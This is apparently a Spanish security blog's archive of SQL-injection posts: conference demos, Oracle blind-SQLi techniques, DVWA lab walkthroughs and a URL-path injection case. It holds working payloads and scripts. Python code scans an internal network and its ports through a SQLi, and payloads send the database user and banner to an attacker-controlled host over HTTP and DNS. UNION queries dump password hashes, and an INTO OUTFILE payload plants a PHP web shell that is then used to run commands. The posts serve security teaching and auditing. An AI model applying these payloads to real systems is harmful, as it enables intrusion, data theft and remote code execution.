Mostrando entradas con la etiqueta Inyección de código SQL. Mostrar todas las entradas
Mostrando entradas con la etiqueta Inyección de código SQL. Mostrar todas las entradas

21 de octubre de 2014

Demo Shellshock en el ISMS Forum

La semana pasada participé como ponente en el tercer Foro de Ciberseguridad del Spanish Cyber Security Institute, más conocido como ISMS Forum.

En la charla que di presenté un incidente de seguridad en el que estuve trabajando hace un mes para una empresa española que nos pidió colaboración para identificar el problema que habían tenido y recomendaciones a la hora de solucionarlo.

Como me habían pedido que hiciera alguna demostración, pero obviamente no podía dar datos reales, monté un par de entornos vulnerables sobre los que hacer las pruebas.

La primera de las demostraciones que hice fue para mostrar un par de las vulnerabilidad que tenían en la aplicación web que se comprometió. La primera de las vulnerabilidades consistía en la posibilidad de acceder a los datos personales de otros usuarios.

Esta vulnerabilidad es relativamente frecuente en muchas aplicaciones web y web services. Normalmente se debe a que se utiliza un identificador fácilmente predecible para determinar el registro, fichero o recurso en general que se tiene que mostrar. Hay un segundo aspecto que hace que se provoque la vulnerabilidad (además del identificador predecible) y es que no se gestionen correctamente los permisos de cada usuario, ya que la aplicación debería identificar y evitar que un usuario pudiera acceder a recursos que pertenecen a otro usuario.

La segunda vulnerabilidad que se muestra en el primero de los vídeos es una inyección de código SQL muy sencillita de explotar. Lo que iba buscando con esta demostración es demostrar lo fácil que puede llegar a ser explotar este tipo de vulnerabilidades y lo peligroso que resulta en caso de que se esté almacenando información de carácter confidencial en la base de datos (en la demo, se llegaban a mostrar números de tarjetas de crédito, con su CVV y su fecha de caducidad).

La primera demo se puede ver en el siguiente vídeo:


La segunda de las demos que hice fue para mostrar la vulnerabilidad de Shellshock explotada a través de un CGI hospedado en un servidor web.

Aunque esta vulnerabilidad no estaba del todo relacionado con el resto del contenido de mi charla, aproveché que uno de los ponentes anteriores había hablado de la vulnerabilidad largo y tendido pero no había llegado a realizar ninguna demo. Mi intención, por tanto, era hacer ver que algunas de las vulnerabilidades que se leen en Internet sí que son realmente fáciles de explotar sin ningún tipo de recursos especiales.

Ésta es la segunda demo:



Espero que las disfrutéis y podáis utilizarlas si tenéis que presentar este tipo de vulnerabilidades en algún tipo de ambiente.

10 de marzo de 2014

De una inyección SQL a un escáner de red

Hace poco, haciendo una auditoría web, encontré un parámetro que era vulnerable a SQL injection.

Tras un pequeño análisis, identifiqué que se trataba de un servidor Oracle y que no iba a ser fácil extraer información de la base de datos porque se ve que la inyección debía de estar en la llamada a un procedimiento almacenado.

Algo así como:

procedimiento_almacenado (parámetro_vulnerable);

Oracle, en esta sintaxis, no permite añadir consultas del tipo SELECT, así que realizar las típicas inyecciones para determinar el usuario de la base de datos, el nombre de ésta, qué tablas las forman... no iba a funcionar.

Tras probar muchas cosas, vi que sí que podía utilizar variables SYS_CONTEXT para recuperar variables del sistema relativas a la configuración ya que, aunque no podía hacer un:

SELECT user from DUAL;

Sí que podía (ojo, era una inyección de tipo numérico):

55 - (ASCII (SUBSTR (user,1,1)) - ASCII('U') )

O, del mismo modo:

55 - (ASCII (SUBSTR (SYS_CONTEXT('USERENV', 'CURRENT_USER'), 1, 1)) - ASCII('U') )

Con esto, no tenía acceso a los datos de la base de datos en sí, pero obtuve información principalmente relacionada con el entorno Oracle como usuarios, dirección IP del servidor, tipo de autenticación utilizada...

Ya estaba a punto de desesperarme y decidir que no podía llegar mucho más allá cuando me acordé de los procedimientos almacenados de los que os hablé en la entrada anterior: UTL_HTTP y UTL_INADDR.

Así que pensé: ¿qué pasará si digo de utilizar UTL_HTTP para acceder a otros puertos del servidor para intentar determinar si están o no abiertos? Algo en plan:
  • http://10.0.2.51:22
  • http://10.0.2.51:80
  • http://10.0.2.51:443
  • http://10.0.2.51:8080
  • http://10.0.2.51:1521
  • ...
Imaginad mi sorpresa cuando veo que efectivamente funcionaba. Es más, Oracle era tan bondadoso que me decía claramente si el puerto estaba o no abierto:

  • Error cuando el puerto estaba abierto:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-29263: HTTP protocol error ORA-06512: at line 1 at [...]

  • Error cuando el puerto estaba cerrado:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12541: TNS:no listener ORA-06512: at line 1 at [...]


Creo que la siguiente pregunta que me hice es evidente... ¿Y si escaneo otros hosts de la red? Pues exactamente igual. En este caso, lo que hice fue siempre preguntar por el puerto 22 y observé las respuestas:

  • Cuando no existía el host:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12543: TNS:destination host unreachable ORA-06512: at line 1 at [...]

Cuando existía el host en la red, el error que devolvía era alguno de los dos errores asociados a si el puerto estaba o no abierto.

Así que cogí y en un rato me hice mi propio escáner de puertos a través del SQLi que había encontrado. Éste es el resultado que puede servir como prueba de concepto:

Escaneo de red:

import requests

cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}

i = 0

for i in range(254):
 r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://10.0.2.%s:22/')) )" % str(i+1), cookies=cookies, headers=headers )

 if not "destination host unreachable" in r.text:
  print "Alive: 10.0.2.%s" % str(i+1)

Este script se ejecutará directamente:

$ python network_scan.py

Escaneo de puertos:

import requests
import sys

cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}

topports = (26, 554, 32768, 8000, 8443, 2000, 1026, 179, 5060, 514, 10000, 6001, 81, 113, 548, 465, 1720, 199, 8888, 587, 1025, 5900, 993, 995, 111, 1723, 8080, 3306, 135, 53, 143, 139, 445, 110, 3389, 25, 22, 21, 443, 23, 80, 37, 119, 9100, 4899, 2717, 1755, 873, 1028, 49157, 5051, 6646, 9, 1029, 13, 1900, 3986, 5432, 3000, 5190, 7070, 5009, 9999, 444, 3128, 8009, 389, 7, 144, 5101, 544, 543, 49156, 427, 5357, 990, 513, 6000, 49155, 1110, 2121, 106, 5800, 79, 88, 2049, 8081, 49153, 631, 5631, 5000, 646, 5666, 1027, 49154, 8008, 515, 2001, 49152, 1433)

i = 0

for i in topports:
 r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://%s:%s/')) )" % ( sys.argv[1], str(i)), cookies=cookies, headers=headers )

 if not "no listener" in r.text:
  print "Open port: %s" % str(i)


Este script, recibe la dirección IP a escanear como entrada. Por ejemplo:

$ python port_scan.py 10.0.2.51

Y de este modo conseguí que una vulnerabilidad que no hubiera pasado ni pena ni gloria, se convirtiera en algo interesante. Es más, con más tiempo podría haber intentado acceder a otros de los servicios que encontré abiertos (entre ellos un JBoss en un puerto 8080).

18 de febrero de 2014

¡Pero señor! ¡Este oráculo no está ciego!

De lo que quiero hablar en esta entrada es algo que puede que sea más que conocido por muchos de vosotros pero que es la base de lo que os quiero contar en otra entrada y que prometo será más interesante. ¡Ojo! Que esto lo es.

Todos sabemos que explotar una inyección de código SQL ciega (blind SQL injection) puede llegar a ser un coñazo. De primeras nos conviene utilizar alguna herramienta para automatizar la explotación, porque a mano puedes sacar un par de valores como el usuario o la base de datos... ¿pero habéis probado alguna vez a sacar registros de una tabla a mano? Obviamente es inviable. Al menos si tienes unos tiempos que cumplir. Es aquí cuando herramientas como sqlmap, sqlibf o tantas otras nos hacen la vida mucho más fácil.

Pero ok. Te paras. Consigues configurar la herramienta para que te pille la inyección que, a menos que te la haya sacado un escáner automático no va a ser trivial. La lanzas. ¿Y ahora qué? Esperar. Y esperar a que haga una media de 7-8 peticiones por carácter de la cadena que estés intentando sacar y eso en el mejor de los casos y que la herramienta esté utilizando una búsqueda dicotómica. Lo que se traduce en unas 100 peticiones de media por cadena básicas como nombre de usuario o base de datos. Ahora, como quieras sacar el banner completo... van a ser en torno a unas 300.

Puestos ya en escena, os quiero contar una técnica para hacer que una inyección "ciega" no sea tan ciega en Oracle. ¿Entiendes ahora el título del post?

UTL_HTTP

UTL_HTTP es un procedimiento almacenado de Oracle que permite realizar conexiones HTTP desde la propia base de datos. Y que, por suerte para nosotros, viene por defecto habilitado en la mayoría de versiones de la base de datos.

Lo único que tenemos que hacer es utilizarlo para que nos mande la información que le pedimos a un servidor web controlado por nosotros.

Os pongo un ejemplo de cómo nos podría mandar el nombre de usuario de la base de datos a nuestro servidor web utilizando tan sólo una petición (frente a las 100 de las que hablaba antes).

Supongamos que el parámetro inyectable es "id", con una inyección de tipo numérico, en la siguiente URL:

http://www.myfakedomain.com/vulnerablepage?id=500

En un caso normal, utilizaríamos payloads como:
  • id=500 and substr(USER,1,1) = 'a'
  • id=500 and substr(USER,1,1) = 'b'
  • id=500 and substr(USER,1,1) = 'c'
  • ...
  • id=500 and substr(USER,2,1) = 'a'
  • id=500 and substr(USER,2,1) = 'b'
  • ...
Sin embargo, si usamos el siguiente payload, nos mandará el nombre del usuario al completo a nuestro servidor web:

id=500 and UTP_HTTP.request('http://www.myserver.com/' || USER) is not NULL

Y, consultando los logs del servidor podremos ver una petición de la siguiente forma:

10.0.2.2 - - [16/Feb/2014:20:09:48 +0100] "GET /PROD_USER HTTP/1.1" 404 484 "-" "Mozilla/5.0 ..."

De donde sacamos que el nombre de usuario es "PROD_USER".

Como veis, con una simple petición, es suficiente para que obtengamos la información que necesitamos. Incluso se pueden concatenar varias consultas en la misma petición, ahorrando más tiempo y esfuerzo.

UTL_INADDR

Si el procedimiento UTL_HTTP estuviera deshabilitado o directamente no funcionara por cualquier motivo (como que el servidor de base de datos tenga el acceso web filtrado), existe un segundo procedimiento almacenado que nos puede ser igualmente útil: UTL_INADDR. Este otro procedimiento es equivalente al anterior pero para realizar consultas DNS.

En esta ocasión, por tanto, si controlamos algún dominio, podemos hacer que el servidor Oracle nos haga una petición DNS como la siguiente:

PROD_USER.myserver.com

Para ello, tendremos que utilizar un payload como el siguiente:

id=500 and UTL_INADDR.GET_HOST_ADDRESS(USER || '.myserver.com') is not NULL

Como veis, es igual de útil. Aunque tened en cuenta que el protocolo DNS tiene ciertas restricciones como que los nombres de dominio no pueden contener espacios. Así que si intentamos sacar el banner de la base de datos, es más que posible que no nos llegue completo o directamente no se realice ninguna consulta DNS.

Para ello, siempre se pueden utilizar funciones como "replace":

id=500 and UTP_INADDR.GET_HOST_ADDRESS( (SELECT REPLACE(banner, ' ') FROM v$version WHERE banner LIKE 'Oracle%') ||'.myserver.com') is not NULL

Útil, ¿no? Espero que la próxima vez que tengáis una inyección SQL ciega en un Oracle os acordéis de estas técnicas para ahorraros tiempo y recursos.


19 de septiembre de 2011

DVWA - SQLi nivel medio (III)

Es el turno del nivel medio de la sección de inyección de código SQL del DVWA. Lo primero, como siempre, es seleccionar en el nivel “medium”.

Tenemos que ver el modo en el que podríamos empezar a inyectar. Igual que en el modo low podemos probar a ver qué pasa al introducir una comilla simple:


El resultado obtenido es el siguiente:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

En pocas palabras, dice que está “escapando” el carácter de comilla simple y, por tanto, tratándolo como si fuera una cadena de caracteres. No vamos a poder usar esta técnica, como en el punto anterior.

Tendríamos que probar ahora que clase de caracteres podemos introducir, así pues introducimos por un lado un carácter y por otro lado un número y veamos cómo responde:

Probamos introduciendo una letra.
Introducimos un número.

Pues parece que los caracteres no los acepta. Sin embargo al introducir un número tal como "1", nos devuelve lo que parece el primer resultado de una tabla. Si introducimos números sucesivos, nos devolverá otros resultados.

El resto de las peticiones son bastante parecidas a las del nivel low, sólo era cuestión de encontrar un punto de entrada. Recordad que no se pueden usar comillas simples, aunque probablemente tampoco se puedan usar otros tipos de caracteres como las comillas dobles.

Bien, probemos la siguiente petición, a ver qué tal sale:


Bueno, parece que hemos conseguido un punto de entrada adecuado. Probemos a realizar las pruebas tal y como las hicimos en el apartado anterior, teniendo en cuenta que no debemos usar comillas. Usaremos directamente la sentencia que nos proporcionó los hashes de la base de datos:

1 and 1 = 0 union select user, Password from users --


Tal y como hicimos en ocasiones previas explicamos un poco la sentencia usada:

  • 1 and 1 = 0: lo igualamos a 0 porque no queremos que nos saque otros resultados que no sean los hashes.
  • El resto de la sentencia es evidente, y terminamos cerrándola con – para que lo posterior no lo interprete y aparezca como si fuera un comentario, cerrando la sentencia de esta forma.

Y ya tenemos otra vez los hashes deseados.


15 de septiembre de 2011

DVWA - SQLi nivel low (II)

En esta segunda parte de practicar con esta distro vamos a probar a realizar SQL injection en el nivel fácil. El nivel medio no es muy diferente, las técnicas son similares, pero el modo de conseguir acceso es algo distinto. Lo dejaremos para el siguiente post.

Lo primero como siempre es ponerlo en el nivel "low".

Tenemos que ver el modo en el que podríamos empezar a inyectar. Lo cierto es que en este nivel, verlo va a ser rápido. Podemos probar por meter una comilla simple en el cuadro, y ver el resultado obtenido:


El error lo muestro a continuación:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ''' at line 1

Lo que viene a indicar que no se está utilizando una sintaxis correcta en la sentencia SQL. Más concretamente, está quejándose de que faltan unas comillas simples. Introduciendo dos comillas simples obtendremos lo siguiente:


Y esto indicaría que la sentencia SQL se ha ejecutado correctamente, pero que no le hemos solicitado nada (no le hemos hecho una consulta que devuelve datos). Ojo, una consulta sí que hemos realizado, sólo que no una que devuelva resultados.

Así que la idea es introducir algo en la consulta que se está realizando ya de por sí. Probablemente será algo del tipo select * from tabla where algo='$algo'. Al introducir parámetros en el recuadro quedaría algo tal como:

select * from tabla where algo=''lo que hemos introducido''

(lo que resalto en rojo es la cadena que introducimos/inyectamos directamente desde el cuadro de texto)

Bien, vamos a lo interesante, a que empiece a darnos resultados. Probaremos lo siguiente:

' union select table_name, null from information_schema.tables -- '


La explicación de lo que hemos introducido es la siguiente:

  • La primera comilla cierra la primera query,
  • union sirve para unir la primera consulta, la de la aplicación, con la nuestra
  • el resto sirve para obtener el listado de tablas del esquema de la base de datos
  • -- ' , al final, sirve para decir que lo que sigue a continuación es un comentario y así ignorar el resto de la consulta de la aplicación web.

En vez de null, podríamos haber puesto cualquier dato numérico, simplemente sirve para sacar el listado de tablas en el valor "First name" y nada en el valor "Surname"

Así que seguimos adelante. Vamos a obtener de la tabla usuario la columna de password:

' union select table_name, column_name from information_schema.columns where table_name='user' -- '


Y finalmente tenemos la tabla user con la columna "Password". Devuelve muchos más resultados, pero he mostrado directamente los que nos interesa.

Ya sólo falta obtener el contenido de esta columna, y con eso tendríamos lo que buscamos, más o menos.

La nueva consulta que introduciremos para obtener estos resultados es:

' union select user, Password from users -- '


Y ya tenemos lo que buscábamos: los hashes de las contraseñas. Ahora a divertirse averiguando a que corresponde cada uno de esos hashes obtenidos.

Bien, el siguiente paso por mi parte, aparte de conseguir las contraseñas, sería intentar conseguir una consola. En este caso es bastante sencillo. Solo tenemos que modificar nuestra consulta un poco.

La consulta que hemos contruido es la siguiente:

' union select "<? system($_REQUEST['cmd']); ?>", null from information_schema.columns INTO OUTFILE "/opt/lampp/htdocs/hackable/uploads/shell.php" -- '


Como se puede observar, no muestra ningún tipo de datos de salida, es como si no hubiera funcionado. Esto es por lo siguiente:

  • Con INTO OUTFILE "/opt/lampp/htdocs/hackable/uploads/shell.php" le estamos diciendo que vuelque a ese fichero la salida. Tiene que ser esa ruta concreta porque es de donde puede leer el servidor web. Os dejo averiguar cómo saber que esa es la ruta (o leer el anterior post de DVWA).

Os muestro una captura de lo que se podría conseguir con el comando adecuado:


Lo que he usado es lo siguiente, introduciéndolo en la barra del navegador:

http://192.168.1.105/hackable/uploads/shell.php?cmd=ls -lh ../

No es la mejor manera de hacerlo, pero sirve como prueba de concepto.

26 de abril de 2011

90-60-90, Desarrollos a medida...

Muchas aplicaciones Web utilizan partes de las URLs como parámetros de entrada de la propia aplicación. Un ejemplo de ello son los Sistemas de Gestión de Contenidos o CMS.

En Drupal, por ejemplo, todos los contenidos son denominados nodos y pueden ser accedidos a través de URLs como la siguiente:

http://www.example.com/node/21947

De este modo, 21947 es un parámetro de entrada que le dice al CMS qué contenido tiene que recuperar de la Base de Datos.

Al ser un parámetro de entrada que además se utiliza para consultar una Base de Datos... en principio podría ser susceptible a inyecciones de código. Por "desgracia", la mayor parte de los CMS ya contemplan esta posibilidad y están protegidos contra este vector de ataque.

¿Pero qué pasa con los desarrollos a medida que imitan este funcionamiento? Hace poco me he encontrado con una aplicación Web que utilizaba URLs como la anterior en la que se puede ver que una parte de la misma es un parámetro de entrada.

Así, se me ocurrió probar a acceder a recursos como:

http://www.example.com/node/21947'%20and%20'a'='a
http://www.example.com/node/21947'%20and%20'a'='b

y... ¡¡bingo!! La aplicación tenía una inyección de código SQL en una de las partes que formaba la propia URL.

De hecho, la URL era más compleja que la anterior. La inyección estaba más o menos por la mitad y tenía parámetros por GET, pero todos estaban cabreantemente limpios:

http://www.example.com/user/21947'%20and%20database()%20like%20'mydb'%20and%20'a'='a/getProfile?a=b&c=d

¿Quién les iba a decir a los desarrolladores de la aplicación que se habían dejado un punto de entrada sin validar? Y no sólo eso, sino ¿a qué herramienta de análisis automático se le ocurriría realizar este tipo de pruebas? Las pruebas que tendría que realizar por cada URL se multiplicarían y el tiempo de análisis sería mucho mayor.

En resumen, desde el punto de vista del auditor, las herramientas automáticas sólo sirven para dar una primera impresión del estado de seguridad de un sistema pero siempre hay que escavar mucho más profundo para hacer un análisis exhaustivo.

Desde el punto de vista de los desarrolladores, siempre hay que validar absolutamente todos los parámetros de entrada de la aplicación, por muy recónditos que puedan parecer. Hay que pensar que es imposible prever todos los usos que hará un usuario (legítimo o no) de la aplicación, por lo que hay que intentar no dejar nada al azar.